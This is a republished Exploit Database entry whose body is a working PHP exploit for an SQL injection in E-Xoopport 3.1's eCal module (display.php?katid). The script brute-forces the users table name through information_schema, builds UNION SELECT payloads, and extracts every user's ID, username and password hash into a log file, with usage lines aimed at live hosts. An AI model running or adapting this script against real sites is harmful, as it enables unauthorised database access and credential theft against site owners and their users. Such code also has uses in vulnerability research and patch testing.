E-Xoopport 3.1 – ‘display.php?katid’ SQL Injection

Exploit Database
103 阅读

作者： Vis Intelligendi

日期： 2010-11-11
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/15492/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

/* Vis Intelligendi

http.//vis-intelligendi.co.cc

E-Xooport 3.1 SQL Injection Exploit 01 (Mq on/off doesn't matter)

bug details and explanation on http://vis-intelligendi.co.cc (search e-xooport)

E-Xoops is a xoops-based cms. Many modules are bugged, in this case "eCal", no need of quoting code for this advisory.

This script will first brute users' table name (if you want) and second will extract all users data from the db

(or only one user, if you specify the ID)

usage php exopoort_exploit.php host path [uid]

!! TESTED !! WE DON'T SUBMIT EXPLOITS WITHOUT VERIFYING THEM

/* GENERAL CONFIGURATION */

$table = "e_xoops_users";#THIS MAYBE CHANGES FROM SITE TO SITE, usually users,e_xoops_users, sam_users

$brute_table = FALSE; # IF THE EXPLOIT DOES not work first time, probably the reason is the table name, so set this to TRUE and the exploit will brute the table name if mysql version >= 5

# this may take some minutes..

/* EXPLOIT */

error_reporting(0);

ini_set("default_socket_timeout",30);

set_time_limit(0);

function http_send($host, $packet)

{

$sock = fsockopen($host, 80); $c = 0;

while (!$sock)

{

if ($c++ == 10) die();

print "\n[-] No response from ".$host.":80 Trying again...";

$sock = fsockopen($host,80);

sleep(1);

}

fputs($sock, $packet);

$resp = "";

while (!feof($sock)) $resp .= fread($sock, 1);

fclose($sock);

return $resp;

}

function getContent($resp) {

$data = explode("\r\n\r\n", $resp);

$content="";

for ($i=1; $i<count($data); $i++)

$content .= $data[$i];

return $content;

}

function makePacket($page, $sql, $host) {

$packet = "GET ".$page.$sql." HTTP/1.1\r\n";

$packet .= "Host: ".$host."\r\n";

$packet .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8\r\n";

$packet .= "Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3\r\n";

$packet .= "Connection: close\r\n\r\n";

return $packet;

}

$s = "0x5649535f494e54454c4c4947454e4449";

$string = "VIS_INTELLIGENDI";

echo <<<SPLASH

---------------------------------------------------------------------

Vis Intelligendi

http://vis-intelligendi.co.cc

E-Xooport SQL Injection 01 (katid)

-User,pass,uid extraction exploit

usage:

php exploit.php host path [user_id]*

php exploit.php www.site.com /exooport/ 1 {without /modules/ dir}

php exploit.php www.e-xoopport.it /

* If not specified, the exploit will extract all users from the database.

---------------------------------------------------------------------

SPLASH;

$host = $argv[1];

$path = $argv[2];

$uid = $argv[3];

$users = "";

if ($host && $path) {

$path .= "modules/eCal/display.php?katid=";

if ($brute_table) {

print "Table brute set ON. Trying to find the table.. this may take some minutes (note: works only with information_schema viewable)\n";

$sql = "-1+union+select+concat($s,table_name,0x3a,$s),0+from+information_schema.tables+limit+[N],1";

$k = 0;

$reg = array();

$tables = array();

$ex = str_replace("[N]", $k, $sql);

$txt = getContent(http_send($host,makePacket($path,$ex,$host)));

$regx = "$string(.+)\:$string";

while(ereg($regx,$txt,$reg)) {

$k++;

$tables[] = $reg[1];

print $reg[1]."\n";

$regz = array();

if (eregi("(.+)users$",$reg[1],$regz)) {

$table = $reg[1];

}

$ex = str_replace("[N]", $k, $sql);

$txt = getContent(http_send($host,makePacket($path,$ex,$host)));

}

print "\n\n [] Table = $table\n\n";

if (!$uid) {

$sql = "-1+union+select+concat($s,uid,0x3a,uname,0x3a,pass,$s),0+from+$table+limit+[N],1";

} else {

$sql = "-1+union+select+concat($s,uid,0x3a,uname,0x3a,pass,$s),0+from+$table+where+uid=$uid+limit+[N],1";

}

$regs = array();

$regex = $string."(.+)".$string;

$n = 0;

$ex = str_replace("[N]", $n, $sql);

$pck = makePacket($path,$ex,$host);

$resp = http_send($host,$pck);

$txt = getContent($resp);

while(ereg($regex,$txt,$regs)) {

$users .= $regs[1]."\n";

print $regs[1]."\n";

$n++;

$pck = makePacket($path,str_replace("[N]",$n,$sql),$host);

$resp = http_send($host,$pck);

$txt = getContent($resp);

}

$write = "\n\nVis Intelligendi".

"\n E-Xooport 3.1 SQL Injection Exploit\n".

"http://vis-intelligendi.co.cc\n".

"Host : $host\n".

"Path : $path\n".

"http://$host$path$sql\n\n".

"table: $table\n\n".$users."\n\n Vis Intelligendi Magia";

fwrite(fopen("exooport_log.txt","w+"),$write);

print "Check exooport_log.txt";

}